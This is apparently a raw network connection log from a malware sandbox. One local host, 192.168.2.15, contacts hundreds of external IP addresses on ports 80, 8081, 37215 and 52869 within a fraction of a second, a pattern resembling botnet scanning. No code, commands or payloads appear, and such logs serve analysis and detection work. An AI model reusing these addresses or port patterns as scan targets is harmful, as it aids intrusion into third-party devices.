Jul 20, 2024 23:10:38.144172907 CEST	58774	80	192.168.2.15	95.71.24.80
Jul 20, 2024 23:10:38.144172907 CEST	58774	80	192.168.2.15	95.230.17.220
Jul 20, 2024 23:10:38.144238949 CEST	58768	8081	192.168.2.15	221.83.195.3
Jul 20, 2024 23:10:38.144238949 CEST	58768	8081	192.168.2.15	148.247.203.223
Jul 20, 2024 23:10:38.144238949 CEST	58774	80	192.168.2.15	95.237.65.203
Jul 20, 2024 23:10:38.144238949 CEST	58774	80	192.168.2.15	95.136.40.34
Jul 20, 2024 23:10:38.144238949 CEST	58774	80	192.168.2.15	95.190.181.55
Jul 20, 2024 23:10:38.144238949 CEST	58774	80	192.168.2.15	95.1.69.246
Jul 20, 2024 23:10:38.144238949 CEST	58774	80	192.168.2.15	95.22.144.218
Jul 20, 2024 23:10:38.144238949 CEST	58774	80	192.168.2.15	95.153.111.186
Jul 20, 2024 23:10:38.145479918 CEST	58774	80	192.168.2.15	95.75.10.42
Jul 20, 2024 23:10:38.145479918 CEST	58774	80	192.168.2.15	95.175.29.188
Jul 20, 2024 23:10:38.145479918 CEST	58774	80	192.168.2.15	95.78.52.39
Jul 20, 2024 23:10:38.145481110 CEST	58774	80	192.168.2.15	95.11.128.87
Jul 20, 2024 23:10:38.145481110 CEST	58774	80	192.168.2.15	95.247.49.130
Jul 20, 2024 23:10:38.145481110 CEST	58774	80	192.168.2.15	95.70.78.2
Jul 20, 2024 23:10:38.145481110 CEST	58774	80	192.168.2.15	95.167.242.235
Jul 20, 2024 23:10:38.145481110 CEST	58774	80	192.168.2.15	95.131.36.95
Jul 20, 2024 23:10:38.146056890 CEST	58774	80	192.168.2.15	95.22.5.166
Jul 20, 2024 23:10:38.146056890 CEST	58774	80	192.168.2.15	95.31.158.196
Jul 20, 2024 23:10:38.146056890 CEST	58774	80	192.168.2.15	95.216.5.10
Jul 20, 2024 23:10:38.146056890 CEST	58774	80	192.168.2.15	95.74.18.218
Jul 20, 2024 23:10:38.146056890 CEST	58774	80	192.168.2.15	95.95.44.63
Jul 20, 2024 23:10:38.146056890 CEST	58774	80	192.168.2.15	95.117.33.11
Jul 20, 2024 23:10:38.146056890 CEST	58774	80	192.168.2.15	95.181.68.148
Jul 20, 2024 23:10:38.146056890 CEST	58774	80	192.168.2.15	95.17.52.252
Jul 20, 2024 23:10:38.146178007 CEST	58774	80	192.168.2.15	95.182.77.252
Jul 20, 2024 23:10:38.146178007 CEST	58774	80	192.168.2.15	95.199.23.2
Jul 20, 2024 23:10:38.146178007 CEST	58774	80	192.168.2.15	95.145.228.20
Jul 20, 2024 23:10:38.146178007 CEST	58774	80	192.168.2.15	95.223.214.169
Jul 20, 2024 23:10:38.146178007 CEST	58774	80	192.168.2.15	95.7.7.107
Jul 20, 2024 23:10:38.146178007 CEST	58774	80	192.168.2.15	95.216.33.59
Jul 20, 2024 23:10:38.146178007 CEST	58774	80	192.168.2.15	95.202.232.169
Jul 20, 2024 23:10:38.146178007 CEST	58774	80	192.168.2.15	95.120.168.30
Jul 20, 2024 23:10:38.146761894 CEST	58774	80	192.168.2.15	95.69.205.199
Jul 20, 2024 23:10:38.146761894 CEST	58774	80	192.168.2.15	95.187.222.173
Jul 20, 2024 23:10:38.146761894 CEST	58774	80	192.168.2.15	95.68.28.156
Jul 20, 2024 23:10:38.146761894 CEST	58774	80	192.168.2.15	95.235.95.58
Jul 20, 2024 23:10:38.146761894 CEST	58774	80	192.168.2.15	95.139.127.12
Jul 20, 2024 23:10:38.146761894 CEST	58774	80	192.168.2.15	95.156.193.59
Jul 20, 2024 23:10:38.146761894 CEST	44484	37215	192.168.2.15	76.125.10.46
Jul 20, 2024 23:10:38.147701025 CEST	58774	80	192.168.2.15	95.192.108.175
Jul 20, 2024 23:10:38.147701025 CEST	58774	80	192.168.2.15	95.148.45.107
Jul 20, 2024 23:10:38.147701025 CEST	58774	80	192.168.2.15	95.52.57.44
Jul 20, 2024 23:10:38.147701025 CEST	58774	80	192.168.2.15	95.175.184.234
Jul 20, 2024 23:10:38.147701025 CEST	58774	80	192.168.2.15	95.210.81.12
Jul 20, 2024 23:10:38.148072958 CEST	58774	80	192.168.2.15	95.51.145.143
Jul 20, 2024 23:10:38.148072958 CEST	58774	80	192.168.2.15	95.164.0.148
Jul 20, 2024 23:10:38.148072958 CEST	58774	80	192.168.2.15	95.75.120.251
Jul 20, 2024 23:10:38.148073912 CEST	58774	80	192.168.2.15	95.242.195.241
Jul 20, 2024 23:10:38.148073912 CEST	58774	80	192.168.2.15	95.44.146.40
Jul 20, 2024 23:10:38.148073912 CEST	58774	80	192.168.2.15	95.197.209.172
Jul 20, 2024 23:10:38.148073912 CEST	58774	80	192.168.2.15	95.207.231.236
Jul 20, 2024 23:10:38.148073912 CEST	58774	80	192.168.2.15	95.251.240.84
Jul 20, 2024 23:10:38.148407936 CEST	58774	80	192.168.2.15	95.95.251.153
Jul 20, 2024 23:10:38.148407936 CEST	58774	80	192.168.2.15	95.221.135.92
Jul 20, 2024 23:10:38.148407936 CEST	43862	8081	192.168.2.15	101.137.132.47
Jul 20, 2024 23:10:38.148407936 CEST	59184	80	192.168.2.15	88.185.132.47
Jul 20, 2024 23:10:38.149288893 CEST	58774	80	192.168.2.15	95.238.4.111
Jul 20, 2024 23:10:38.149288893 CEST	38292	52869	192.168.2.15	119.87.220.235
Jul 20, 2024 23:10:38.156922102 CEST	52158	8081	192.168.2.15	140.139.225.140
Jul 20, 2024 23:10:38.163068056 CEST	8081	52158	140.139.225.140	192.168.2.15
Jul 20, 2024 23:10:38.163187981 CEST	52158	8081	192.168.2.15	140.139.225.140
Jul 20, 2024 23:10:38.164697886 CEST	39574	80	192.168.2.15	88.27.3.47
Jul 20, 2024 23:10:38.170111895 CEST	80	39574	88.27.3.47	192.168.2.15
Jul 20, 2024 23:10:38.170176029 CEST	39574	80	192.168.2.15	88.27.3.47
Jul 20, 2024 23:10:38.196021080 CEST	44182	52869	192.168.2.15	19.2.120.96
Jul 20, 2024 23:10:38.201014042 CEST	52869	44182	19.2.120.96	192.168.2.15
Jul 20, 2024 23:10:38.201169968 CEST	44182	52869	192.168.2.15	19.2.120.96
Jul 20, 2024 23:10:38.205770016 CEST	37890	37215	192.168.2.15	197.180.228.252
Jul 20, 2024 23:10:38.210927963 CEST	37215	37890	197.180.228.252	192.168.2.15
Jul 20, 2024 23:10:38.210977077 CEST	37890	37215	192.168.2.15	197.180.228.252
Jul 20, 2024 23:10:38.211282969 CEST	45682	8081	192.168.2.15	201.218.238.1
Jul 20, 2024 23:10:38.214534044 CEST	59410	80	192.168.2.15	88.157.99.146
Jul 20, 2024 23:10:38.216434956 CEST	8081	45682	201.218.238.1	192.168.2.15
Jul 20, 2024 23:10:38.216536045 CEST	45682	8081	192.168.2.15	201.218.238.1
Jul 20, 2024 23:10:38.219542027 CEST	80	59410	88.157.99.146	192.168.2.15
Jul 20, 2024 23:10:38.219588995 CEST	59410	80	192.168.2.15	88.157.99.146
Jul 20, 2024 23:10:38.222367048 CEST	48142	52869	192.168.2.15	114.147.236.150
Jul 20, 2024 23:10:38.227333069 CEST	52869	48142	114.147.236.150	192.168.2.15
Jul 20, 2024 23:10:38.227437973 CEST	48142	52869	192.168.2.15	114.147.236.150
Jul 20, 2024 23:10:38.243527889 CEST	47204	37215	192.168.2.15	41.135.100.3
Jul 20, 2024 23:10:38.243899107 CEST	57872	8081	192.168.2.15	195.62.101.45
Jul 20, 2024 23:10:38.244714022 CEST	56678	80	192.168.2.15	88.181.133.134
Jul 20, 2024 23:10:38.249347925 CEST	37215	47204	41.135.100.3	192.168.2.15
Jul 20, 2024 23:10:38.249404907 CEST	47204	37215	192.168.2.15	41.135.100.3
Jul 20, 2024 23:10:38.249830008 CEST	8081	57872	195.62.101.45	192.168.2.15
Jul 20, 2024 23:10:38.249923944 CEST	57872	8081	192.168.2.15	195.62.101.45
Jul 20, 2024 23:10:38.250287056 CEST	80	56678	88.181.133.134	192.168.2.15
Jul 20, 2024 23:10:38.250338078 CEST	56678	80	192.168.2.15	88.181.133.134
Jul 20, 2024 23:10:38.250376940 CEST	40888	52869	192.168.2.15	175.109.109.84
Jul 20, 2024 23:10:38.255530119 CEST	60270	37215	192.168.2.15	41.114.206.140
Jul 20, 2024 23:10:38.255578041 CEST	52869	40888	175.109.109.84	192.168.2.15
Jul 20, 2024 23:10:38.255644083 CEST	52870	8081	192.168.2.15	32.161.26.237
Jul 20, 2024 23:10:38.255650997 CEST	40888	52869	192.168.2.15	175.109.109.84
Jul 20, 2024 23:10:38.256558895 CEST	42880	80	192.168.2.15	88.186.97.141
Jul 20, 2024 23:10:38.258852005 CEST	43930	52869	192.168.2.15	154.64.3.25
Jul 20, 2024 23:10:38.261857986 CEST	37215	60270	41.114.206.140	192.168.2.15
Jul 20, 2024 23:10:38.261939049 CEST	8081	52870	32.161.26.237	192.168.2.15
Jul 20, 2024 23:10:38.261950016 CEST	60270	37215	192.168.2.15	41.114.206.140
Jul 20, 2024 23:10:38.261985064 CEST	52870	8081	192.168.2.15	32.161.26.237
Jul 20, 2024 23:10:38.261991024 CEST	80	42880	88.186.97.141	192.168.2.15
Jul 20, 2024 23:10:38.262115002 CEST	42880	80	192.168.2.15	88.186.97.141
Jul 20, 2024 23:10:38.263047934 CEST	49394	8081	192.168.2.15	118.166.213.249
Jul 20, 2024 23:10:38.264081001 CEST	52869	43930	154.64.3.25	192.168.2.15
Jul 20, 2024 23:10:38.264164925 CEST	34594	80	192.168.2.15	88.224.24.248
Jul 20, 2024 23:10:38.264195919 CEST	43930	52869	192.168.2.15	154.64.3.25
Jul 20, 2024 23:10:38.265001059 CEST	37790	37215	192.168.2.15	157.35.130.251
Jul 20, 2024 23:10:38.268183947 CEST	8081	49394	118.166.213.249	192.168.2.15
Jul 20, 2024 23:10:38.268244028 CEST	49394	8081	192.168.2.15	118.166.213.249
Jul 20, 2024 23:10:38.269239902 CEST	80	34594	88.224.24.248	192.168.2.15
Jul 20, 2024 23:10:38.269289970 CEST	34594	80	192.168.2.15	88.224.24.248
Jul 20, 2024 23:10:38.269891977 CEST	37458	52869	192.168.2.15	219.152.75.176
Jul 20, 2024 23:10:38.269957066 CEST	37215	37790	157.35.130.251	192.168.2.15
Jul 20, 2024 23:10:38.269998074 CEST	37790	37215	192.168.2.15	157.35.130.251
Jul 20, 2024 23:10:38.274928093 CEST	52869	37458	219.152.75.176	192.168.2.15
Jul 20, 2024 23:10:38.275088072 CEST	37458	52869	192.168.2.15	219.152.75.176
Jul 20, 2024 23:10:38.276026011 CEST	52272	8081	192.168.2.15	149.156.0.71
Jul 20, 2024 23:10:38.277062893 CEST	48710	80	192.168.2.15	88.84.173.177
Jul 20, 2024 23:10:38.277879953 CEST	41310	37215	192.168.2.15	157.217.24.18
Jul 20, 2024 23:10:38.279572010 CEST	43394	52869	192.168.2.15	183.79.5.78
Jul 20, 2024 23:10:38.281793118 CEST	8081	52272	149.156.0.71	192.168.2.15
Jul 20, 2024 23:10:38.281833887 CEST	52272	8081	192.168.2.15	149.156.0.71
Jul 20, 2024 23:10:38.282514095 CEST	80	48710	88.84.173.177	192.168.2.15
Jul 20, 2024 23:10:38.282655001 CEST	48710	80	192.168.2.15	88.84.173.177
Jul 20, 2024 23:10:38.283082008 CEST	37215	41310	157.217.24.18	192.168.2.15
Jul 20, 2024 23:10:38.283149958 CEST	41310	37215	192.168.2.15	157.217.24.18
Jul 20, 2024 23:10:38.283832073 CEST	53874	8081	192.168.2.15	51.24.196.130
Jul 20, 2024 23:10:38.284797907 CEST	52869	43394	183.79.5.78	192.168.2.15
Jul 20, 2024 23:10:38.284863949 CEST	43394	52869	192.168.2.15	183.79.5.78
Jul 20, 2024 23:10:38.284971952 CEST	41578	80	192.168.2.15	88.184.141.13
Jul 20, 2024 23:10:38.287379980 CEST	43856	37215	192.168.2.15	41.109.172.235
Jul 20, 2024 23:10:38.287929058 CEST	53020	52869	192.168.2.15	157.142.69.44
Jul 20, 2024 23:10:38.290220976 CEST	8081	53874	51.24.196.130	192.168.2.15
Jul 20, 2024 23:10:38.290266991 CEST	53874	8081	192.168.2.15	51.24.196.130
Jul 20, 2024 23:10:38.291599989 CEST	80	41578	88.184.141.13	192.168.2.15
Jul 20, 2024 23:10:38.291630983 CEST	47204	8081	192.168.2.15	100.144.235.237
Jul 20, 2024 23:10:38.291661024 CEST	41578	80	192.168.2.15	88.184.141.13
Jul 20, 2024 23:10:38.292391062 CEST	41660	80	192.168.2.15	88.103.233.76
Jul 20, 2024 23:10:38.294033051 CEST	47418	52869	192.168.2.15	17.198.192.63
Jul 20, 2024 23:10:38.294682980 CEST	45784	37215	192.168.2.15	157.238.194.50
Jul 20, 2024 23:10:38.295809031 CEST	37215	43856	41.109.172.235	192.168.2.15
Jul 20, 2024 23:10:38.295855045 CEST	52869	53020	157.142.69.44	192.168.2.15
Jul 20, 2024 23:10:38.295919895 CEST	53020	52869	192.168.2.15	157.142.69.44
Jul 20, 2024 23:10:38.295938969 CEST	43856	37215	192.168.2.15	41.109.172.235
Jul 20, 2024 23:10:38.299328089 CEST	8081	47204	100.144.235.237	192.168.2.15
Jul 20, 2024 23:10:38.299382925 CEST	47204	8081	192.168.2.15	100.144.235.237
Jul 20, 2024 23:10:38.299580097 CEST	52678	8081	192.168.2.15	147.132.243.41
Jul 20, 2024 23:10:38.300182104 CEST	80	41660	88.103.233.76	192.168.2.15
Jul 20, 2024 23:10:38.300378084 CEST	41660	80	192.168.2.15	88.103.233.76
Jul 20, 2024 23:10:38.300477982 CEST	39830	80	192.168.2.15	88.160.95.128
Jul 20, 2024 23:10:38.300625086 CEST	52869	47418	17.198.192.63	192.168.2.15
Jul 20, 2024 23:10:38.300678968 CEST	47418	52869	192.168.2.15	17.198.192.63
Jul 20, 2024 23:10:38.300868988 CEST	37215	45784	157.238.194.50	192.168.2.15
Jul 20, 2024 23:10:38.301194906 CEST	45784	37215	192.168.2.15	157.238.194.50
Jul 20, 2024 23:10:38.305107117 CEST	8081	52678	147.132.243.41	192.168.2.15
Jul 20, 2024 23:10:38.305155993 CEST	52678	8081	192.168.2.15	147.132.243.41
Jul 20, 2024 23:10:38.306070089 CEST	80	39830	88.160.95.128	192.168.2.15
Jul 20, 2024 23:10:38.306128979 CEST	39830	80	192.168.2.15	88.160.95.128
Jul 20, 2024 23:10:38.309889078 CEST	45158	52869	192.168.2.15	220.239.248.79
Jul 20, 2024 23:10:38.311022997 CEST	39720	37215	192.168.2.15	41.48.64.8
Jul 20, 2024 23:10:38.313455105 CEST	59540	8081	192.168.2.15	70.244.198.153
Jul 20, 2024 23:10:38.314214945 CEST	51054	80	192.168.2.15	88.187.164.159
Jul 20, 2024 23:10:38.315202951 CEST	52869	45158	220.239.248.79	192.168.2.15
Jul 20, 2024 23:10:38.315289974 CEST	45158	52869	192.168.2.15	220.239.248.79
Jul 20, 2024 23:10:38.316019058 CEST	37215	39720	41.48.64.8	192.168.2.15
Jul 20, 2024 23:10:38.316063881 CEST	39720	37215	192.168.2.15	41.48.64.8
Jul 20, 2024 23:10:38.317651987 CEST	46692	52869	192.168.2.15	5.162.60.136
Jul 20, 2024 23:10:38.318450928 CEST	8081	59540	70.244.198.153	192.168.2.15
Jul 20, 2024 23:10:38.318495035 CEST	59540	8081	192.168.2.15	70.244.198.153
Jul 20, 2024 23:10:38.319116116 CEST	80	51054	88.187.164.159	192.168.2.15
Jul 20, 2024 23:10:38.319155931 CEST	51054	80	192.168.2.15	88.187.164.159
Jul 20, 2024 23:10:38.322849989 CEST	52869	46692	5.162.60.136	192.168.2.15
Jul 20, 2024 23:10:38.322913885 CEST	46692	52869	192.168.2.15	5.162.60.136
Jul 20, 2024 23:10:38.324861050 CEST	38488	37215	192.168.2.15	41.135.228.141
Jul 20, 2024 23:10:38.326334000 CEST	40766	8081	192.168.2.15	98.6.153.169
Jul 20, 2024 23:10:38.329415083 CEST	58660	80	192.168.2.15	88.168.180.193
Jul 20, 2024 23:10:38.330961943 CEST	37215	38488	41.135.228.141	192.168.2.15
Jul 20, 2024 23:10:38.331593990 CEST	38488	37215	192.168.2.15	41.135.228.141
Jul 20, 2024 23:10:38.332571030 CEST	8081	40766	98.6.153.169	192.168.2.15
Jul 20, 2024 23:10:38.332614899 CEST	40766	8081	192.168.2.15	98.6.153.169
Jul 20, 2024 23:10:38.335419893 CEST	80	58660	88.168.180.193	192.168.2.15
Jul 20, 2024 23:10:38.335470915 CEST	58660	80	192.168.2.15	88.168.180.193
Jul 20, 2024 23:10:38.337304115 CEST	41758	52869	192.168.2.15	89.171.240.248
Jul 20, 2024 23:10:38.341022015 CEST	60840	37215	192.168.2.15	41.109.80.153
Jul 20, 2024 23:10:38.342592955 CEST	52554	8081	192.168.2.15	117.195.60.70
Jul 20, 2024 23:10:38.343158007 CEST	38284	80	192.168.2.15	88.220.255.177
Jul 20, 2024 23:10:38.343683004 CEST	52869	41758	89.171.240.248	192.168.2.15
Jul 20, 2024 23:10:38.343765974 CEST	41758	52869	192.168.2.15	89.171.240.248
Jul 20, 2024 23:10:38.345211983 CEST	32838	52869	192.168.2.15	220.55.101.199
Jul 20, 2024 23:10:38.347348928 CEST	37215	60840	41.109.80.153	192.168.2.15
Jul 20, 2024 23:10:38.347431898 CEST	60840	37215	192.168.2.15	41.109.80.153
Jul 20, 2024 23:10:38.348886013 CEST	8081	52554	117.195.60.70	192.168.2.15
Jul 20, 2024 23:10:38.348990917 CEST	52554	8081	192.168.2.15	117.195.60.70
Jul 20, 2024 23:10:38.349319935 CEST	42094	8081	192.168.2.15	41.237.164.109
Jul 20, 2024 23:10:38.349394083 CEST	80	38284	88.220.255.177	192.168.2.15
Jul 20, 2024 23:10:38.349457026 CEST	38284	80	192.168.2.15	88.220.255.177
Jul 20, 2024 23:10:38.349874020 CEST	50252	80	192.168.2.15	88.212.206.87
Jul 20, 2024 23:10:38.350701094 CEST	48038	37215	192.168.2.15	216.15.194.11
Jul 20, 2024 23:10:38.351633072 CEST	52869	32838	220.55.101.199	192.168.2.15
Jul 20, 2024 23:10:38.351692915 CEST	32838	52869	192.168.2.15	220.55.101.199
Jul 20, 2024 23:10:38.353461027 CEST	60776	52869	192.168.2.15	61.146.90.23
Jul 20, 2024 23:10:38.356142998 CEST	8081	42094	41.237.164.109	192.168.2.15
Jul 20, 2024 23:10:38.356190920 CEST	42094	8081	192.168.2.15	41.237.164.109
Jul 20, 2024 23:10:38.356996059 CEST	37116	8081	192.168.2.15	177.243.162.95
Jul 20, 2024 23:10:38.357487917 CEST	80	50252	88.212.206.87	192.168.2.15
Jul 20, 2024 23:10:38.357520103 CEST	37215	48038	216.15.194.11	192.168.2.15
Jul 20, 2024 23:10:38.357537985 CEST	50252	80	192.168.2.15	88.212.206.87
Jul 20, 2024 23:10:38.357558966 CEST	48038	37215	192.168.2.15	216.15.194.11
Jul 20, 2024 23:10:38.358514071 CEST	52316	80	192.168.2.15	88.10.201.81
Jul 20, 2024 23:10:38.358577013 CEST	52869	60776	61.146.90.23	192.168.2.15
Jul 20, 2024 23:10:38.358624935 CEST	60776	52869	192.168.2.15	61.146.90.23
Jul 20, 2024 23:10:38.359551907 CEST	56722	37215	192.168.2.15	157.29.91.154
Jul 20, 2024 23:10:38.360563040 CEST	58256	52869	192.168.2.15	24.231.54.99
Jul 20, 2024 23:10:38.362147093 CEST	8081	37116	177.243.162.95	192.168.2.15
Jul 20, 2024 23:10:38.362251043 CEST	37116	8081	192.168.2.15	177.243.162.95
Jul 20, 2024 23:10:38.364403963 CEST	80	52316	88.10.201.81	192.168.2.15
Jul 20, 2024 23:10:38.364464998 CEST	52316	80	192.168.2.15	88.10.201.81
Jul 20, 2024 23:10:38.364836931 CEST	37215	56722	157.29.91.154	192.168.2.15
Jul 20, 2024 23:10:38.364881992 CEST	56722	37215	192.168.2.15	157.29.91.154
Jul 20, 2024 23:10:38.365495920 CEST	52869	58256	24.231.54.99	192.168.2.15
Jul 20, 2024 23:10:38.365591049 CEST	58256	52869	192.168.2.15	24.231.54.99
Jul 20, 2024 23:10:38.365889072 CEST	53172	8081	192.168.2.15	177.201.145.33
Jul 20, 2024 23:10:38.366857052 CEST	52816	80	192.168.2.15	88.221.243.227
Jul 20, 2024 23:10:38.369788885 CEST	59080	37215	192.168.2.15	166.129.166.145
Jul 20, 2024 23:10:38.370851994 CEST	52890	52869	192.168.2.15	155.186.2.88
Jul 20, 2024 23:10:38.371779919 CEST	8081	53172	177.201.145.33	192.168.2.15
Jul 20, 2024 23:10:38.371843100 CEST	53172	8081	192.168.2.15	177.201.145.33
Jul 20, 2024 23:10:38.371864080 CEST	80	52816	88.221.243.227	192.168.2.15
Jul 20, 2024 23:10:38.371908903 CEST	52816	80	192.168.2.15	88.221.243.227
Jul 20, 2024 23:10:38.374947071 CEST	46674	8081	192.168.2.15	104.81.53.73
Jul 20, 2024 23:10:38.375283003 CEST	37215	59080	166.129.166.145	192.168.2.15
Jul 20, 2024 23:10:38.375385046 CEST	59080	37215	192.168.2.15	166.129.166.145
Jul 20, 2024 23:10:38.375657082 CEST	54460	80	192.168.2.15	88.62.42.254
Jul 20, 2024 23:10:38.375988960 CEST	52869	52890	155.186.2.88	192.168.2.15
Jul 20, 2024 23:10:38.376061916 CEST	52890	52869	192.168.2.15	155.186.2.88
Jul 20, 2024 23:10:38.377935886 CEST	48566	52869	192.168.2.15	65.58.210.176
Jul 20, 2024 23:10:38.379301071 CEST	58302	37215	192.168.2.15	197.130.106.175
Jul 20, 2024 23:10:38.380058050 CEST	8081	46674	104.81.53.73	192.168.2.15
Jul 20, 2024 23:10:38.380110979 CEST	46674	8081	192.168.2.15	104.81.53.73
Jul 20, 2024 23:10:38.380749941 CEST	80	54460	88.62.42.254	192.168.2.15
Jul 20, 2024 23:10:38.380805969 CEST	54460	80	192.168.2.15	88.62.42.254
Jul 20, 2024 23:10:38.382251024 CEST	51802	8081	192.168.2.15	73.161.3.148
Jul 20, 2024 23:10:38.382839918 CEST	52869	48566	65.58.210.176	192.168.2.15
Jul 20, 2024 23:10:38.382886887 CEST	48566	52869	192.168.2.15	65.58.210.176
Jul 20, 2024 23:10:38.382915020 CEST	48638	80	192.168.2.15	88.232.161.110
Jul 20, 2024 23:10:38.384435892 CEST	37215	58302	197.130.106.175	192.168.2.15
Jul 20, 2024 23:10:38.384533882 CEST	58302	37215	192.168.2.15	197.130.106.175
Jul 20, 2024 23:10:38.387485027 CEST	8081	51802	73.161.3.148	192.168.2.15
Jul 20, 2024 23:10:38.387648106 CEST	51802	8081	192.168.2.15	73.161.3.148
Jul 20, 2024 23:10:38.387878895 CEST	38068	52869	192.168.2.15	17.96.206.10
Jul 20, 2024 23:10:38.388544083 CEST	80	48638	88.232.161.110	192.168.2.15
Jul 20, 2024 23:10:38.388607025 CEST	48638	80	192.168.2.15	88.232.161.110
Jul 20, 2024 23:10:38.389739037 CEST	52656	37215	192.168.2.15	41.101.180.53
Jul 20, 2024 23:10:38.392879963 CEST	33164	8081	192.168.2.15	197.24.195.37
Jul 20, 2024 23:10:38.393647909 CEST	36408	80	192.168.2.15	88.204.80.174
Jul 20, 2024 23:10:38.394078016 CEST	52869	38068	17.96.206.10	192.168.2.15
Jul 20, 2024 23:10:38.394155979 CEST	38068	52869	192.168.2.15	17.96.206.10
Jul 20, 2024 23:10:38.395806074 CEST	37215	52656	41.101.180.53	192.168.2.15
Jul 20, 2024 23:10:38.395865917 CEST	52656	37215	192.168.2.15	41.101.180.53
Jul 20, 2024 23:10:38.395922899 CEST	38250	52869	192.168.2.15	131.159.98.164
Jul 20, 2024 23:10:38.397905111 CEST	8081	33164	197.24.195.37	192.168.2.15
Jul 20, 2024 23:10:38.397948980 CEST	33164	8081	192.168.2.15	197.24.195.37
Jul 20, 2024 23:10:38.398710012 CEST	80	36408	88.204.80.174	192.168.2.15
Jul 20, 2024 23:10:38.398750067 CEST	36408	80	192.168.2.15	88.204.80.174
Jul 20, 2024 23:10:38.400604010 CEST	42676	37215	192.168.2.15	157.135.74.226
Jul 20, 2024 23:10:38.401257992 CEST	52869	38250	131.159.98.164	192.168.2.15
Jul 20, 2024 23:10:38.401307106 CEST	38250	52869	192.168.2.15	131.159.98.164
Jul 20, 2024 23:10:38.401644945 CEST	41462	8081	192.168.2.15	126.247.185.111
Jul 20, 2024 23:10:38.402503967 CEST	50452	80	192.168.2.15	88.207.212.134
Jul 20, 2024 23:10:38.405601025 CEST	37215	42676	157.135.74.226	192.168.2.15
Jul 20, 2024 23:10:38.405642986 CEST	42676	37215	192.168.2.15	157.135.74.226
Jul 20, 2024 23:10:38.406641960 CEST	8081	41462	126.247.185.111	192.168.2.15
Jul 20, 2024 23:10:38.406682014 CEST	41462	8081	192.168.2.15	126.247.185.111
Jul 20, 2024 23:10:38.407176018 CEST	40840	52869	192.168.2.15	212.22.178.123
Jul 20, 2024 23:10:38.408689976 CEST	80	50452	88.207.212.134	192.168.2.15
Jul 20, 2024 23:10:38.408729076 CEST	50452	80	192.168.2.15	88.207.212.134
Jul 20, 2024 23:10:38.411468983 CEST	40956	37215	192.168.2.15	197.18.206.159
Jul 20, 2024 23:10:38.411782980 CEST	36848	8081	192.168.2.15	218.197.253.52
Jul 20, 2024 23:10:38.413474083 CEST	59678	80	192.168.2.15	88.148.109.126
Jul 20, 2024 23:10:38.413908005 CEST	52869	40840	212.22.178.123	192.168.2.15
Jul 20, 2024 23:10:38.413953066 CEST	40840	52869	192.168.2.15	212.22.178.123
Jul 20, 2024 23:10:38.416558981 CEST	44114	52869	192.168.2.15	125.46.245.158
Jul 20, 2024 23:10:38.417996883 CEST	37215	40956	197.18.206.159	192.168.2.15
Jul 20, 2024 23:10:38.418013096 CEST	8081	36848	218.197.253.52	192.168.2.15
Jul 20, 2024 23:10:38.418049097 CEST	40956	37215	192.168.2.15	197.18.206.159
Jul 20, 2024 23:10:38.418057919 CEST	36848	8081	192.168.2.15	218.197.253.52
Jul 20, 2024 23:10:38.418622017 CEST	80	59678	88.148.109.126	192.168.2.15
Jul 20, 2024 23:10:38.418695927 CEST	59678	80	192.168.2.15	88.148.109.126
Jul 20, 2024 23:10:38.421688080 CEST	48200	8081	192.168.2.15	37.108.224.54
Jul 20, 2024 23:10:38.422188997 CEST	44328	80	192.168.2.15	88.176.0.47
Jul 20, 2024 23:10:38.422720909 CEST	52869	44114	125.46.245.158	192.168.2.15
Jul 20, 2024 23:10:38.422725916 CEST	59342	37215	192.168.2.15	34.182.233.76
Jul 20, 2024 23:10:38.422804117 CEST	44114	52869	192.168.2.15	125.46.245.158
Jul 20, 2024 23:10:38.426918030 CEST	8081	48200	37.108.224.54	192.168.2.15
Jul 20, 2024 23:10:38.427454948 CEST	48200	8081	192.168.2.15	37.108.224.54
Jul 20, 2024 23:10:38.427557945 CEST	80	44328	88.176.0.47	192.168.2.15
Jul 20, 2024 23:10:38.427660942 CEST	44328	80	192.168.2.15	88.176.0.47
Jul 20, 2024 23:10:38.428031921 CEST	37215	59342	34.182.233.76	192.168.2.15
Jul 20, 2024 23:10:38.428102016 CEST	59342	37215	192.168.2.15	34.182.233.76
Jul 20, 2024 23:10:38.429800034 CEST	36298	52869	192.168.2.15	91.122.92.170
Jul 20, 2024 23:10:38.433836937 CEST	34590	8081	192.168.2.15	100.220.84.138
Jul 20, 2024 23:10:38.434307098 CEST	52362	80	192.168.2.15	88.225.148.212
Jul 20, 2024 23:10:38.435043097 CEST	41832	37215	192.168.2.15	41.130.29.61
Jul 20, 2024 23:10:38.435581923 CEST	42866	52869	192.168.2.15	61.53.244.138
Jul 20, 2024 23:10:38.436506987 CEST	52869	36298	91.122.92.170	192.168.2.15
Jul 20, 2024 23:10:38.436573982 CEST	36298	52869	192.168.2.15	91.122.92.170
Jul 20, 2024 23:10:38.440474033 CEST	8081	34590	100.220.84.138	192.168.2.15
Jul 20, 2024 23:10:38.440524101 CEST	34590	8081	192.168.2.15	100.220.84.138
Jul 20, 2024 23:10:38.440576077 CEST	80	52362	88.225.148.212	192.168.2.15
Jul 20, 2024 23:10:38.440615892 CEST	52362	80	192.168.2.15	88.225.148.212
Jul 20, 2024 23:10:38.441061974 CEST	37215	41832	41.130.29.61	192.168.2.15
Jul 20, 2024 23:10:38.441121101 CEST	41832	37215	192.168.2.15	41.130.29.61
Jul 20, 2024 23:10:38.442183971 CEST	52869	42866	61.53.244.138	192.168.2.15
Jul 20, 2024 23:10:38.442235947 CEST	38932	8081	192.168.2.15	122.95.43.153
Jul 20, 2024 23:10:38.442254066 CEST	42866	52869	192.168.2.15	61.53.244.138
Jul 20, 2024 23:10:38.444478035 CEST	58638	80	192.168.2.15	88.173.192.134
Jul 20, 2024 23:10:38.447360039 CEST	8081	38932	122.95.43.153	192.168.2.15
Jul 20, 2024 23:10:38.447412014 CEST	38932	8081	192.168.2.15	122.95.43.153
Jul 20, 2024 23:10:38.449908972 CEST	59122	37215	192.168.2.15	197.91.175.126
Jul 20, 2024 23:10:38.450308084 CEST	80	58638	88.173.192.134	192.168.2.15
Jul 20, 2024 23:10:38.450371027 CEST	58638	80	192.168.2.15	88.173.192.134
Jul 20, 2024 23:10:38.450587988 CEST	42306	52869	192.168.2.15	72.244.52.162
Jul 20, 2024 23:10:38.452883005 CEST	47548	8081	192.168.2.15	220.172.168.137
Jul 20, 2024 23:10:38.453181028 CEST	37124	80	192.168.2.15	88.3.103.96
Jul 20, 2024 23:10:38.453906059 CEST	60590	52869	192.168.2.15	166.78.169.15
Jul 20, 2024 23:10:38.454493046 CEST	37320	37215	192.168.2.15	157.245.216.156
Jul 20, 2024 23:10:38.455418110 CEST	38562	8081	192.168.2.15	72.232.56.222
